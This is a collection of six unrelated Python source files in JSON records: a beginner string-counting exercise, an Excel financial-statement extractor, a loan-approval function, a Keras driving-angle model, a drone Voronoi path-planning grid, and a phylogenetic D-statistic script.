+{"seq_id":"643278155","text":"#This one is tricky! Think carefully about for-each loops, conditionals, and\n#strings. How can you track what character you're currently looking for?\n\n#Write a for each loop that counts how many times the word \"cat\" occurs in\n#mysteryString. Print the result.\n\nimport sys\nmysteryString = sys.argv[1]\nprint(\"~ testing with mysteryValue = \\\"{}\\\" ~\".format(mysteryString))\n\n#Don't modify the code above!\n\n#When you run your code, we'll test it with the string \"my cat your cat\".\n#When you Submit your code, we'll test it with some other strings, too.\n\n# Given mysteryString, how many times does the word cat appear in it.\ncatcount = 0\ns = \"\"\nfor x in range(0, len(mysteryString)):\n s = mysteryString[x:x+3]\n if s == \"cat\":\n catcount += 1\nprint(catcount)\n","sub_path":"Unit3/Chapter 3.1 to 3.4/Coding Problem 3.3.6.py","file_name":"Coding Problem 3.3.6.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"479477690","text":"# -*- coding: utf-8 -*-\r\n# by Shawn Gu\r\n\r\nimport openpyxl as ox\r\nimport numpy as np\r\nimport datetime, os, re\r\nfrom openpyxl.styles import Font,colors\r\n\r\n# _________________________ create a workbook for data storage_______________________\r\n\r\nwb1 = ox.load_workbook('D:/pyscripts/FS.xlsx',data_only=True) # 打开要录入的目的文件\r\nws1 = wb1.get_sheet_by_name('FS')\r\n\r\n# ___________________________________________________________________________________\r\ndef clean_list(List):\r\n List = [str(List[i]).replace(\" \", \"\") for i in range(len(List))] # list value del space\r\n List = [str(List[i]).replace(\"\\n\", \"\") for i in range(len(List))] # list value del \\n\r\n List = [str(List[i]).replace(\"None\", \"\") for i in range(len(List))] # list value del \"None\"\r\n tmp = []\r\n for i in range(len(List)):\r\n try:\r\n tmp.append(float(List[i]))\r\n except ValueError:\r\n tmp.append(List[i])\r\n List = tmp\r\n return List\r\n\r\ndef trim_items_a(old, in_which):\r\n return re.match(old.encode('utf-8'), in_which.encode('utf-8')) is not None\r\n\r\ndef search_symbol(symbol,r,c):\r\n '''r=row, c=column in excel'''\r\n if ws1.cell(row=r, column=c).value!=None:\r\n ws1.cell(row=r,column=c).value=ws1.cell(row=r,column=c).value.replace(' ','')\r\n if re.search(symbol,ws1.cell(row=r,column=c).value) != None:\r\n return re.search(symbol,ws1.cell(row=r,column=c).value).span()[0]\r\n else:\r\n return 0\r\n else:\r\n return 0\r\n\r\n# ___________________________________________________________________________________\r\nrow = []\r\ncount_1 = ws1.max_row + 1\r\ncount = ws1.max_row + 1\r\n\r\npath = \"C:/Users/Shawn Gu/Desktop/CN_annual_FS\" # 被提取文件所在地\r\n\r\ndic={'(\\S*|\\S*\\s*)合并\\S*资产负债表\\S*':'合并资产负债表','(\\S*|\\S*\\s*)母\\S*资产负债表\\S*': '母公司资产负债表',\r\n '(\\S*|\\S*\\s*)合并\\S*利润表\\S*': '合并利润表', '(\\S*|\\S*\\s*)母\\S*利润表\\S*': '母公司利润表',\r\n '(\\S*|\\S*\\s*)合并\\S*现金流\\S*': '合并现金流量表', '(\\S*|\\S*\\s*)母\\S*现金流\\S*': '母公司现金流量表'}\r\n\r\n\r\nacc=['以后不能重分类进损益的其他综合收益', '基本每股收益', '以后将重分类进损益的其他综合收益', '稀释每股收益', '权益法下在被投资单位以后将重分类进损益的其他综合收益中享有的份额',\r\n '重新计量设定受益计划净负债或净资产的变动', '可供出售金融资产公允价值变动损益', '权益法下在被投资单位不能重分类进损益的其他综合收益中享有的份额',\r\n '持有至到期投资重分类为可供出售金融资产损益', '现金流量套期损益的有效部分', '外币财务报表折算差额', '其他', '营业总收入', '营业收入', '一年内到期的非流动负债',\r\n '一年内到期的非流动资产', '一般风险准备', '每股收益:', '综合收益总额', '利润总额(亏损总额以“-”号填列)', '营业利润(亏损以“-”号填列)', '专项储备', '专项应付款',\r\n '买入返售金融资产', '营业利润(亏损以“-”号填列)', '营业总成本', '短期递延收益','其他综合收益的税后净额', '净利润(净亏损以“-”号填列)', '现金及现金等价物净增加额', '代理买卖证券款',\r\n '代理承销证券款', '以公允价值计量且其变动计入当期损益的金融负债', '以公允价值计量且其变动计入当期损益的金融资产', '保单红利支出', '保户储金及投资款净增加额', '保险合同准备金',\r\n '偿还债务支付的现金', '每股收益:', '其他综合收益的税后净额', '期末现金及现金等价物余额', '综合收益总额', '其中:优先股', '其中:子公司吸收少数股东投资收到的现金',\r\n '其中:子公司支付给少数股东的股利、利润', '其中:对联营企业和合营企业的投资收益', '其中:营业成本', '其中:营业收入', '其中:非流动资产处置利得', '其中:非流动资产处置损失',\r\n '其他应付款', '其他应收款', '其他权益工具', '其他流动负债', '其他流动资产', '其他综合收益', '其他非流动负债', '其他非流动资产', '减:库存股', '减:所得税费用',\r\n '减:营业外支出', '减:营业成本', '分保费用', '分配股利、利润或偿付利息支付的现金', '划分为持有待售的负债', '划分为持有待售的资产', '利息支出', '利息收入', '加:公允价值变动收益(损失以“-”号填列)',\r\n '加:期初现金及现金等价物余额', '加:营业外收入', '卖出回购金融资产款', '发放贷款及垫款', '发行债券收到的现金', '取得借款收到的现金', '取得子公司及其他营业单位支付的现金净额',\r\n '取得投资收益收到的现金', '可供出售金融资产', '向中央银行借款', '向中央银行借款净增加额', '向其他金融机构拆入资金净增加额', '吸收存款及同业存放', '吸收投资收到的现金',\r\n '商誉', '净利润(净亏损以“-”号填列)', '利润总额(亏损总额以“-”号填列)', '汇率变动对现金及现金等价物的影响', '回购业务资金净增加额', '固定资产', '固定资产清理',\r\n '在建工程', '处置以公允价值计量且其变动计入当期损益的金融资产净增加额', '处置固定资产、无形资产和其他长期资产收回的现金净额', '处置子公司及其他营业单位收到的现金净额',\r\n '存放中央银行和同业款项净增加额', '存货', '客户存款和同业存放款项净增加额', '客户贷款及垫款净增加额', '少数股东损益', '少数股东权益', '工程物资', '已赚保费', '应交税费',\r\n '应付债券', '应付分保账款', '应付利息', '应付手续费及佣金', '应付票据', '应付职工薪酬', '应付股利', '应付账款', '应收保费', '应收分保合同准备金', '应收分保账款', '应收利息',\r\n '应收票据', '应收股利', '应收账款', '开发支出', '归属于少数股东的其他综合收益的税后净额', '归属于少数股东的综合收益总额', '归属于母公司所有者权益合计', '归属于母公司所有者的净利润',\r\n '归属于母公司所有者的综合收益总额', '归属母公司所有者的其他综合收益的税后净额', '所有者权益合计', '手续费及佣金支出', '手续费及佣金收入', '投资性房地产', '投资支付的现金',\r\n '投资收益(损失以“-”号填列)', '投资活动产生的现金流量净额', '投资活动现金流入小计', '投资活动现金流出小计', '拆入资金', '拆入资金净增加额', '拆出资金', '持有至到期投资',\r\n '提取保险合同准备金净额', '支付保单红利的现金', '支付其他与投资活动有关的现金', '支付其他与筹资活动有关的现金', '支付其他与经营活动有关的现金', '支付利息、手续费及佣金的现金',\r\n '支付原保险合同赔付款项的现金', '支付的各项税费', '支付给职工以及为职工支付的现金', '收到其他与投资活动有关的现金', '收到其他与筹资活动有关的现金', '收到其他与经营活动有关的现金',\r\n '收到再保险业务现金净额', '收到原保险合同保费取得的现金', '收到的税费返还', '收取利息、手续费及佣金的现金', '收回投资收到的现金', '无形资产', '未分配利润', '永续债', '汇兑收益(损失以“-”号填列)',\r\n '油气资产', '流动负债合计', '流动资产合计', '生产性生物资产', '盈余公积', '短期借款', '筹资活动产生的现金流量净额', '筹资活动现金流入小计', '筹资活动现金流出小计', '管理费用',\r\n '经营活动产生的现金流量净额', '经营活动现金流入小计', '经营活动现金流出小计', '结算备付金', '股本', '能重分类进损益的其他综合收益中享有的份额', '营业税金及附加', '衍生金融负债',\r\n '衍生金融资产', '负债合计', '负债和所有者权益总计', '财务费用', '货币资金', '质押贷款净增加额', '购买商品、接受劳务支付的现金', '购建固定资产、无形资产和其他长期资产支付的现金',\r\n '资产减值损失', '资产总计', '资本公积', '赔付支出净额', '退保金', '递延所得税负债', '递延所得税资产', '递延收益', '销售商品、提供劳务收到的现金', '销售费用', '长期借款',\r\n '长期应付款', '长期应付职工薪酬', '长期应收款', '长期待摊费用', '长期股权投资', '非流动负债合计', '非流动资产合计', '预付款项', '预收款项', '预计负债']\r\n\r\nticker=[] # 在调整本期数字位置的时候用\r\n\r\nfor root, Dir, files in os.walk(path):\r\n for filename in files:\r\n lap0 = datetime.datetime.now() # lap 0\r\n wb = ox.load_workbook(os.path.join(root, filename), data_only=True)\r\n ws = wb.get_sheet_by_name(\"Table 1\")\r\n\r\n if filename[0] == \"0\" or filename[0] == \"2\" or filename[0] == \"3\":\r\n Ticker = filename[0:6] + \".SZ\"\r\n else:\r\n Ticker = filename[0:6] + \".SH\"\r\n lap1 = datetime.datetime.now() # lap 1\r\n print(Ticker + \" Read: \", lap1 - lap0)\r\n\r\n row_end = ws.max_row # where None value row ends at\r\n col_end = ws.max_column\r\n\r\n index_col = [ws.cell(row=i, column=col_end).value for i in range(1, row_end-1)]\r\n while None in index_col:\r\n index_col.remove(None)\r\n index_col_items = index_col[::3]\r\n index_col_frame = index_col[1::3] + index_col[2::3]\r\n index_col_frame.sort()\r\n items = [ws.cell(row=i, column=1).value for i in index_col_items]\r\n for i in range(len(items)):\r\n for j in dic.keys():\r\n if trim_items_a(j, items[i]):\r\n items[i] = dic[j]\r\n\r\n lap2 = datetime.datetime.now() # lap 2\r\n print(\"Extraction: \", lap2 - lap1)\r\n\r\n row = [[index_col_frame[x], index_col_frame[x + 1]] for x in range(len(index_col_frame) - 1)]\r\n row = row[0::2]\r\n [row[i].append(items[i]) for i in range(len(row))]\r\n\r\n table = []\r\n type_ls=[]\r\n# tmp = [] # 调试以后删除\r\n for i, j in enumerate(row):\r\n if isinstance(row[i][0], int) and isinstance(row[i][1], int):\r\n for m in range(row[i][0], row[i][1]): # row[(0,1,2)]\r\n l1 = [ws.cell(row=m, column=n).value for n in range(1, col_end)]\r\n l = clean_list(l1)\r\n table.append(l)\r\n\r\n t_set = set()\r\n for p in range(len(table)): # clean extracted table\r\n for q in range(len(table[0])):\r\n if table[p][q] is not '':\r\n t_set.add(q)\r\n t_list = list(t_set)\r\n t_list.sort()\r\n lap3=datetime.datetime.now()\r\n\r\n for x in range(len(table)):\r\n var = [Ticker] + [row[i][2]] + [table[x][y] for y in t_list]\r\n ticker.append(var[0])\r\n # tmp.append(var) # 调试用, 可删\r\n if re.match(\"流动资产:\",var[2]) or re.match(\"非流动资产:\",var[2]) or re.match(\"流动负债:\",var[2]) or re.match(\"非流动负债:\",var[2]) or re.match(\"所有者权益:\", var[2]):\r\n ws1.cell(row=count,column=4,value=var[2][:len(var[2])-1])\r\n elif re.match(\"\\S*经营活动\\S*:\", var[2]) or re.match('(\\S*|\\S*\\s*)投资活动\\S*:',var[2]) or re.match('(\\S*|\\S*\\s*)筹资活动\\S*:',var[2]):\r\n ws1.cell(row=count,column=4,value=var[2][2:len(var[2])-1])\r\n elif re.match('(\\S*|\\S*\\s*)利润表',var[1]):\r\n ws1.cell(row=count,column=4,value=var[1])\r\n for col in range(0, 3):\r\n ws1.cell(row=count,column=col+1, value=var[col])\r\n for col in range(3, len(var)):\r\n ws1.cell(row=count,column=col+2, value=var[col])\r\n count += 1\r\n else:\r\n for col in range(0, 3):\r\n ws1.cell(row=count, column=col+1, value=var[col])\r\n for col in range(3, len(var)):\r\n ws1.cell(row=count, column=col+2, value=var[col])\r\n count += 1\r\n table.clear()\r\n row.clear()\r\n print(Ticker, \"Done _______ \\n\")\r\n\r\nfor i in range(count_1,count):\r\n if type(ws1.cell(row=i,column=5).value)!=float and type(ws1.cell(row=i,column=5).value)!= int and ws1.cell(row=i, column=5).value!='':\r\n if re.search(')',ws1.cell(row=i, column=5).value)!=None and re.search('(',ws1.cell(row=i, column=5).value)==None: # 在2014年会存在 ')' (包括附注标识) 抛出表格, 将其替换成 np.NaN\r\n ws1.cell(row=i,column=5, value=ws1.cell(row=i,column=6).value)\r\n ws1.cell(row=i,column=6, value=0)\r\n elif ws1.cell(row=i,column=5).value!=')':\r\n ws1.cell(row=i,column=5).value=''\r\n # elif type(ws1.cell(row=i,column=5).value)!=float and type(ws1.cell(row=i,column=5).value)!= int and ws1.cell(row=i, column=5).value!='' and ws1.cell(row=i,column=5).value!=')':\r\n # ws1.cell(row=i,column=5).value=''\r\nticker=set(ticker)\r\n\r\nfor t in ticker:\r\n ls_empty = []\r\n for i in range(1,ws1.max_row+1):\r\n if ws1.cell(row=i,column=1).value==t:\r\n ls_empty.append(ws1.cell(row=i, column=5).value)\r\n if len(set(ls_empty))==1:\r\n for i in range(1,ws1.max_row+1):\r\n if ws1.cell(row=i,column=1).value==t:\r\n ws1.cell(row=i,column=5).value=ws1.cell(row=i,column=6).value\r\n ws1.cell(row=i,column=6).value=''\r\n\r\n# __________________________________________________________________________________________________\r\ncount_2 = ws1.max_row\r\n\r\nfor i in range(2, count_2+1):\r\n A=search_symbol(')', i, 3)\r\n B=search_symbol('、', i, 3)\r\n C=search_symbol('\\.', i, 3)\r\n x=[A,B,C]\r\n while 0 in x:\r\n x.remove(0) # 将0排除在外, 因为0代表无特殊符号\r\n if x!=[]:\r\n if min(x)<4: # 这些特殊符号应该不超过 4 这个位置\r\n ws1.cell(row=i, column=8, value=ws1.cell(row=i,column=3).value) # 将原述科目一到H列, 可drop\r\n ws1.cell(row=i, column=3,value=ws1.cell(row=i, column=3).value[min(x)+1:]) # 将有特殊符号的直接替换成标准格式\r\n\r\n if ws1.cell(row=i,column=3).value not in acc: # 查看这一格是否是在acc中的标准格式\r\n ws1.cell(row=i,column=3).font=Font(color=colors.RED) # 不是标准格式的 标红\r\n\r\nwb1.save(filename=\"D:/pyscripts/FS.xlsx\")\r\nprint(\" *** Done Extracting *** \")","sub_path":"extract_FS.py","file_name":"extract_FS.py","file_ext":"py","file_size_in_byte":15125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"556864341","text":"from loanmetadata import data\n\ndef LoanProcess(CustName,Score,ReqAmt):\n if Score in range(50,400) and ReqAmt >= 10000 and ReqAmt<=40000:\n print(f'Congratulations {CustName} you are approved for ${ReqAmt} You can also consider:')\n for criteria in data:\n if Score in range(criteria['CS_Start']+1,criteria['CS_End']+1) and ReqAmt in range(criteria['Loan']+1):\n print(f''' ${criteria['Loan']} at {criteria['Interest']}% interest for {criteria['Duration']} Months''')\n elif ReqAmt < 10000 or ReqAmt > 40000:\n print('Please enter amount in between $10000 to $40000')\n elif Score > 399:\n print('Your request is Denied. Credit Score out of range')\n else:\n print('Your request is Denied due to low credit score!')\n","sub_path":"func1.py","file_name":"func1.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"128801321","text":"import csv\nimport cv2\nimport numpy as np\nimport datetime\nimport random\nfrom sklearn.utils import shuffle\nlines = []\n\nX_train = []\ny_train = []\n\nprint('start', datetime.datetime.now())\nwith open('./data/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n lines.append(line)\n\nprint('read lines', datetime.datetime.now())\n\nimages_center = []\nimages_left = []\nimages_right = []\nmeasurements_center = []\nmeasurements_left = []\nmeasurements_right = []\nfor line in lines:\n measurement = float(line[3])\n if(measurement < -0.15):\n images_left.append(cv2.imread('./data/IMG/'+ line[0].split('/')[-1]))\n measurements_left.append(measurement)\n elif(measurement > 0.15):\n images_right.append(cv2.imread('./data/IMG/'+ line[0].split('/')[-1]))\n measurements_right.append(measurement)\n else:\n images_center.append(cv2.imread('./data/IMG/'+ line[0].split('/')[-1]))\n measurements_center.append(measurement)\n\nlen_left, len_right, len_center = len(images_left), len(images_right), len(images_center)\n\nprint('initial right left', datetime.datetime.now())\n\n\nwhile len_center - len_left > 0:\n rand = int(np.random.choice(len(lines),1))\n line = lines[rand]\n measurement = float(line[3])\n if(measurement < -0.15):\n images_left.append(cv2.imread('./data/IMG/'+ line[2].split('/')[-1]))\n measurements_left.append(measurement-0.25)\n len_left = len(images_left)\n\nprint('left', datetime.datetime.now())\n\n\nwhile len_center - len_right > 0:\n rand = int(np.random.choice(len(lines),1))\n line = lines[rand]\n measurement = float(line[3])\n if(measurement > 0.15):\n images_right.append(cv2.imread('./data/IMG/'+ line[1].split('/')[-1]))\n measurements_right.append(measurement+0.25)\n len_right = len(images_right)\n\nprint('right', datetime.datetime.now())\n\n\nX_train = images_center+images_left+images_right\ny_train = measurements_center+measurements_left+measurements_right\n\ndef crop_and_resize(image):\n image = cv2.resize(image[60:140,:], (64,64))\n return image\n\ndef randomize_brightness(image):\n hsv = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n multi = random.uniform(0.3,1.0)\n hsv[:,:,2] = multi*hsv[:,:,2]\n return cv2.cvtColor(hsv, cv2.COLOR_HSV2RGB) \n\ndef generator_images(batchSize = 32):\n while True:\n X_batch = []\n y_batch = []\n images, angle = shuffle(X_train, y_train)\n for i in range(batchSize):\n choice = int(np.random.choice(len(images),1))\n X_batch.append(randomize_brightness(crop_and_resize(images[choice])))\n y_batch.append(angle[choice])\n if(random.randint(0,1)):\n X_batch[i] = np.fliplr(X_batch[i])\n y_batch[i] = - y_batch[i]\n X_batch = np.array(X_batch)\n y_batch = np.array(y_batch)\n yield X_batch, y_batch\n\ndef generator_valid(batchSize = 32):\n while True:\n X_valid = []\n y_valid = []\n images, angle = shuffle(X_train, y_train)\n for i in range(batchSize):\n choice = int(np.random.choice(len(images),1))\n X_valid.append(randomize_brightness(crop_and_resize(images[choice])))\n y_valid.append(angle[choice])\n X_valid = np.array(X_valid)\n y_valid = np.array(y_valid)\n yield X_valid, y_valid\n\nfrom keras.models import Sequential\nfrom keras.layers import Convolution2D, Dropout, MaxPooling2D, Flatten, Activation, Dense, Cropping2D, Lambda\n\nmodel = Sequential()\nmodel.add(Lambda(lambda x: x /255.0 - 0.5, input_shape=(64,64,3) ))\nmodel.add(Convolution2D(24, 5, 5, subsample=(2, 2), activation = 'relu'))\n# model.add(Dropout(0.2))\n# model.add(MaxPooling2D(pool_size = (2,2)))\nmodel.add(Convolution2D(36, 5, 5, subsample=(2, 2), activation = 'relu'))\n# model.add(Dropout(0.2))\n# model.add(MaxPooling2D(pool_size = (2,2)))\nmodel.add(Convolution2D(48, 5, 5, subsample=(2, 2), activation = 'relu'))\n# model.add(Dropout(0.2))\n# model.add(MaxPooling2D(pool_size = (2,2)))\nmodel.add(Flatten())\nmodel.add(Dense(50))\nmodel.add(Dense(10))\nmodel.add(Dense(1))\n\nmodel.compile('adam', 'mse')\nmodel.fit_generator(generator_images(32), samples_per_epoch = int(len(X_train)//32)*32, nb_epoch = 8, validation_data=generator_valid(32), nb_val_samples=int(len(X_train)*0.2//32*32))\n\nmodel.save('model.h5')","sub_path":"working model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"490926476","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.path import Path\r\nfrom scipy.spatial import Voronoi\r\nfrom bresenham import bresenham\r\n\r\nclass Grid:\r\n \r\n def __init__(self, data, drone_altitude, safety_distance):\r\n self.north_min, self.north_max, self.east_min, self.east_max = 0, 0, 0, 0\r\n self.north_size, self.east_size = 0, 0\r\n\r\n self.data = data\r\n self.drone_altitude = drone_altitude\r\n self.safety_distance = safety_distance\r\n\r\n self.grid = None\r\n\r\n\r\n def set_max_min_north_east(self, north, east):\r\n if(max(east) > self.east_max):\r\n self.east_max = max(east)\r\n if(min(east) < self.east_min):\r\n self.east_min = min(east)\r\n if(max(north) > self.north_max):\r\n self.north_max = max(north)\r\n if(min(north) < self.north_min):\r\n self.north_min = min(north)\r\n \r\n\r\n def get_valid_cords(self, x, y):\r\n north, east = [], []\r\n for i in range(len(x)):\r\n \r\n flag_1, flag_2 = True, True\r\n try:\r\n north.append(int(x[i]))\r\n except:\r\n flag_1 = False\r\n\r\n if(flag_1 is True):\r\n try:\r\n east.append(int(y[i]))\r\n except:\r\n flag_2 = False\r\n\r\n if(flag_2 is False):\r\n north.pop()\r\n return north, east\r\n\r\n \r\n def get_building_data(self):\r\n buildings = []\r\n for i in range(self.data.shape[0]):\r\n building = {}\r\n\r\n height = float(self.data[i][0])\r\n x = self.data[i][1].split(\":\")\r\n y = self.data[i][2].split(\":\")\r\n\r\n north, east = self.get_valid_cords(x, y)\r\n\r\n cords = []\r\n for i in range(len(north)):\r\n cord = list([east[i], north[i]])\r\n cords.append(cord)\r\n\r\n self.set_max_min_north_east(north, east) #find max & min of north(x) and east(y)\r\n\r\n building[\"height\"] = height\r\n building[\"coordinate\"] = cords\r\n\r\n buildings.append(building)\r\n\r\n return buildings\r\n\r\n\r\n def set_north_east_size(self):\r\n self.north_size = self.north_max - self.north_min\r\n self.east_size = self.east_max - self.east_min\r\n\r\n\r\n def fill_whole_building(self, cords):\r\n for i in range(len(cords)):\r\n cords[i].reverse()\r\n \r\n x = [i[0] for i in cords]\r\n y = [i[1] for i in cords]\r\n mnx, mxx, mny, mxy = min(x), max(x), min(y), max(y)\r\n\r\n mid_x, mid_y = (mxx + mnx) // 2, (mxy + mny) // 2\r\n\r\n if(self.safety_distance > 0):\r\n for i in range(len(cords)):\r\n if(cords[i][0] < mid_x):\r\n cords[i][0] = cords[i][0] - self.safety_distance\r\n else:\r\n cords[i][0] = cords[i][0] + self.safety_distance\r\n \r\n if(cords[i][1] < mid_y):\r\n cords[i][1] = cords[i][1] - self.safety_distance\r\n else:\r\n cords[i][1] = cords[i][1] + self.safety_distance\r\n\r\n x = [i[0] for i in cords]\r\n y = [i[1] for i in cords]\r\n mnx, mxx, mny, mxy = min(x), max(x), min(y), max(y)\r\n\r\n path = Path(cords)\r\n\r\n for i in range(mnx, mxx):\r\n for j in range(mny, mxy):\r\n if(i < self.north_size and j < self.east_size and path.contains_point([i, j]) is True):\r\n self.grid[i, j] = 1\r\n\r\n center = list([mid_x, mid_y])\r\n return center\r\n\r\n\r\n def create_grid_and_edges(self):\r\n buildings = self.get_building_data()\r\n\r\n self.set_north_east_size()\r\n\r\n self.grid = np.zeros((self.north_size, self.east_size))\r\n\r\n points = []\r\n\r\n for building in buildings:\r\n #if(building[\"height\"] + self.safety_distance > self.drone_altitude):\r\n if(building[\"height\"] > self.drone_altitude):\r\n for i in range(len(building[\"coordinate\"])):\r\n building[\"coordinate\"][i][0] = np.clip(building[\"coordinate\"][i][0] - self.east_min, 0, self.east_size-1)\r\n building[\"coordinate\"][i][1] = np.clip(building[\"coordinate\"][i][1] - self.north_min, 0, self.north_size-1)\r\n self.grid[building[\"coordinate\"][i][1], building[\"coordinate\"][i][0]] = 1\r\n center = self.fill_whole_building(building[\"coordinate\"])\r\n\r\n # add center of obstacles to points list\r\n points.append(center)\r\n \r\n # TODO: create a voronoi graph based on\r\n # location of obstacle centres\r\n graph = Voronoi(points)\r\n\r\n # TODO: check each edge from graph.ridge_vertices for collision\r\n edges = []\r\n for v in graph.ridge_vertices:\r\n p1 = graph.vertices[v[0]]\r\n p2 = graph.vertices[v[1]]\r\n \r\n cells = list(bresenham(int(p1[0]), int(p1[1]), int(p2[0]), int(p2[1])))\r\n hit = False\r\n\r\n for c in cells:\r\n # First check if we're off the map\r\n if np.amin(c) < 0 or c[0] >= self.grid.shape[0] or c[1] >= self.grid.shape[1]:\r\n hit = True\r\n break\r\n # Next check if we're in collision\r\n if self.grid[c[0], c[1]] == 1:\r\n hit = True\r\n break\r\n\r\n # If the edge does not hit on obstacle\r\n # add it to the list\r\n if not hit:\r\n # array to tuple for future graph creation step)\r\n p1 = (p1[0], p1[1])\r\n p2 = (p2[0], p2[1])\r\n edges.append((p1, p2))\r\n\r\n return self.grid, edges, self.east_min, self.north_min, self.east_max, self.north_max\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tdrone_altitude = 10\r\n\tsafety_distance = 5\r\n\t#file_name = \"new_york.csv\"\r\n\tfile_name = \"newyork-5.csv\"\r\n\r\n\tdata = np.loadtxt(file_name, delimiter=',', dtype='str', skiprows=2) # Numpy function to read from csv file skipping first 2 rows\r\n\r\n\tgrid_obj = Grid(data, drone_altitude, safety_distance)\r\n\r\n\tgrid, edges, east_min, north_min, east_max, north_max = grid_obj.create_grid_and_edges()\r\n \r\n\"\"\"\r\n print(len(edges))\r\n\r\n #Configuring matplotlib plot size\r\n plt.rcParams['figure.figsize'] = 14, 14\r\n # Plotting the obstacle (black cells)\r\n plt.imshow(grid, origin='lower', cmap='Greys') \r\n\r\n # Plotting each edge with blue color\r\n for e in edges:\r\n point_1 = e[0]\r\n point_2 = e[1]\r\n plt.plot([point_1[1], point_2[1]], [point_1[0], point_2[0]], 'b-') \r\n\r\n # Start position with greeen color cross\r\n #plt.plot(source[1], source[0], 'gx', markersize=15, markeredgewidth=5) \r\n\r\n # Start position with red color cross\r\n #plt.plot(destination[1], destination[0], 'rx', markersize=15, markeredgewidth=5) \r\n\r\n plt.xlabel('EAST')\r\n plt.ylabel('NORTH')\r\n plt.show()\r\n\"\"\"\r\n","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"325174818","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 25 16:48:06 2018\n\n@author: scott\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import division\nimport numpy as np\nfrom ete3 import PhyloTree\nfrom itertools import combinations\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-t', \"--treefile\", type=str, required=True,\n help=\"treefile in newick, 1 per line\")\nparser.add_argument('-g', \"--groups\", nargs='+', action='append',\n required=True, help=\"quartet of species to calculate,\"\n \" assumes form: P1 P2 P3. can be given multiple times\")\nparser.add_argument('-w', \"--windows\", type=str,\n help=\"coordinates for each tree\")\nparser.add_argument(\"--dlm\", type=str, default=\"_\",\n help=\"delimeter denoting species\")\nparser.add_argument(\"-o\", \"--outgroup\", type=str,\n help=\"outgroup species for rooting\")\nargs = parser.parse_args()\n\n\ndef LoadTrees(treefile, outgroup, dlm):\n \"\"\"Reads and stores phylogenetic trees from a file\n\n Parameters\n ------\n treefile: file, file of newick trees, 1 per line\n outgroup: str, last entry from quartet\n\n Returns\n ------\n treelist: obj, ete3 object of trees\n\n \"\"\"\n print(\"loading trees...\")\n treelist = []\n with open(treefile, 'r') as newick:\n for line in newick:\n if not line.startswith(\"NA\"):\n t = PhyloTree(line)\n t.set_species_naming_function(lambda node: node.name.split(dlm)[0])\n t.set_outgroup( t&outgroup )\n treelist.append(t)\n return(treelist)\n\n\ndef cMono(tree, taxon):\n \"\"\"Checks if samples are monophyletic in tree\n \"\"\"\n return(tree.check_monophyly(values=taxon, target_attr=\"species\")[0])\n\n\ndef pairwiseDistance(tree, taxon):\n \"\"\"Iterative distance for each individual regardless of monophyly\n \"\"\"\n pwlist = []\n sp1 = tree.search_nodes(species=taxon[0])\n sp2 = tree.search_nodes(species=taxon[1])\n for s1 in sp1:\n for s2 in sp2:\n pwlist.append(tree.get_distance(s1, s2))\n return(np.nanmean(pwlist))\n\n\ndef AgeAndSupport(treelist, taxon):\n \"\"\"Calculates the support and node age if groups in taxon are monophyletic\n \"\"\"\n # only A/C when (A,B) and (B,C)\n A = [taxon[0]]\n B = [taxon[1]]\n C = [taxon[2]]\n AC_AB = []\n AC_BC = []\n AB_AB = []\n BC_BC = []\n for t in treelist:\n ass = t.search_nodes(species=A[0])\n bss = t.search_nodes(species=B[0])\n css = t.search_nodes(species=C[0])\n t.prune(ass+bss+css, preserve_branch_length=True)\n if cMono(t, A+B):\n AC_AB.append(pairwiseDistance(t, A+C))\n AB_AB.append(pairwiseDistance(t, A+B))\n else:\n AC_AB.append(0)\n AB_AB.append(0)\n if cMono(t, B+C):\n AC_BC.append(pairwiseDistance(t, A+C))\n BC_BC.append(pairwiseDistance(t, B+C))\n else:\n AC_BC.append(0)\n BC_BC.append(0)\n return(AC_AB, AC_BC, AB_AB, BC_BC)\n\n\nif __name__ == \"__main__\":\n quarts = args.groups\n quart = quarts[0]\n taxon = [quart[0], quart[1], quart[2]]\n treelist = LoadTrees(args.treefile, args.outgroup, args.dlm)\n dac_ab, dac_bc, dab_ab, dbc_bc= AgeAndSupport(treelist, taxon)\n # calculate sliding window by 100 trees or such\n i = 0\n step = 100\n j = step\n f = open(\"D2_clust.txt\", 'w')\n while j < len(dac_ab):\n d2 = np.mean(dac_ab[i:j]) - np.mean(dac_bc[i:j])\n f.write(\"{}\\n\".format(d2))\n i = j\n j += step\n f.close()\n print(\"D2: {}\".format(np.mean(dac_ab) - np.mean(dac_bc)))\n i = 0\n step = 100\n j = step\n f = open(\"D1_clust.txt\", 'w')\n while j < len(dab_ab):\n d1 = np.mean(dab_ab[i:j]) - np.mean(dbc_bc[i:j])\n f.write(\"{}\\n\".format(d1))\n i = j\n j += step\n f.close()\n print(\"D1: {}\".format(np.mean(dab_ab) - np.mean(dbc_bc)))\n","sub_path":"calcD2stat.py","file_name":"calcD2stat.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
